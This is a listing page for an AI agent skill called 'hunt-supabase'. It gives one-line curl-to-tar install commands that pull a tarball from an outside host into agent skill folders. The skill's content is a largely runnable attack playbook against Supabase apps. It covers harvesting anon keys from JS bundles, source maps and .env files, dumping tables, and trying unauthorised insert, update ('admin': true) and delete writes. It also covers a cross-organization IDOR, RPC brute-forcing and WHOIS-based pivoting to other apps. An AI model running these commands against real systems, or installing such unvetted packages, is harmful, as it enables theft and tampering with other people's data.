hunt-supabase – Security skill for AI agents
Hunt Supabase exploitation — Supabase anon key discovery in JS bundles, REST API table enumeration with anon key, Row Level Security (RLS) bypass via missing organization_id check, RPC function abuse returning cross-organization data, Storage bucket listing, Auth signUp/signIn with anon key, multi-tenant enumeration vi
Install the hunt-supabase skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-supabase-c42ad.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-supabase – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-supabase-c42ad.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-supabase – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-supabase-c42ad.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-supabase – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-supabase-c42ad.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-supabase – then describe the task you want done.
SKILL.md content
HUNT-SUPABASE — Supabase Exploitation
Crown Jewel Targets
Supabase is the open-source Firebase alternative. It uses Row Level Security (RLS) for access control, but RLS policies are frequently misconfigured — especially in rapid-development stacks (Lovable.dev, Bolt.new, Cursor).
Highest-value findings:
1. Public tables via anon key — REST API with anon key returns table data when RLS is disabled or policies are permissive. Critical.
2. RLS bypass via organization_id — UPDATE operation checks user ownership but NOT organization_id -> cross-tenant data access. Critical.
3. RPC functions returning global data — SECURITY DEFINER RPC functions that don't filter by auth.uid() -> all users' data. High.
4. Storage buckets without RLS — Public file listing, upload, and download. High.
5. Open signUp — Anyone can register and get a JWT. High.
6. Multi-tenant enumeration — Same broken-RLS patterns across multiple apps built by the same developer. Medium.
---
Phase 1 — Find the Supabase Project
Supabase is identified by its URL format: https://[PROJECT_REF].supabase.co and anon key format: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (JWT starting with eyJ)
1.1 Search in JS Bundles
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js
# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js
# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'1.2 Search in .env and Config Files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"
# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null1.3 Extract from Source Maps
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
for u in urls: print(f'URL: {u}')
for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null---
Phase 2 — Supabase Reconnaissance
Once you have the Supabase URL and anon key:
SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"
# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
if [ "$response" = "200" ]; then
echo "[+] PUBLIC TABLE: $table"
# Sample the data
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
fi
done---
Phase 3 — Data Enumeration with Anon Key
3.1 Read Table Data
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"3.2 Try Write Access
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"test_column": "pwned"}'
# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"admin": true}'
# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY"---
Phase 4 — RLS Bypass via Organization ID Manipulation
This is the most common Supabase vulnerability in multi-tenant apps.
4.1 Cross-Organization IDOR via UPDATE
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" \
-d '{"organization_id":"TARGET_ORG_UUID"}'
# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"4.2 RPC Function without Organization Filter
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" -d '{}')
if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
echo "[+] RPC accessible: $rpc"
echo "$response" | python3 -m json.tool | head -20
fi
done4.3 Multi-Tenant Enumeration via WHOIS
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"
# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
domains = set(d['name_value'] for d in data)
… (full content is in the download package)
Related skills
- hunt-websocket – Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak…
- broken-authentication – Identify and exploit authentication and session management vulnerabilities in web…
- brooks-audit – Architecture audit that maps module dependencies, checks layering integrity, and flags…
- gdpr-audit-prep – /compliance-os:gdpr-audit-prep [scope] — GDPR audit 6-question Article-cited forcing…
- hunt-xss – Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use…
- hunt-xxe – Hunting skill for xxe vulnerabilities. Built from 10 public bug bounty reports including…
- bugs-are-annoying – Adversarial code auditor that hunts down bugs, logic errors, and security flaws. Use for…
- iot-camera-recon – Attack cameras via RTSP, ONVIF, Axis config when 554 open.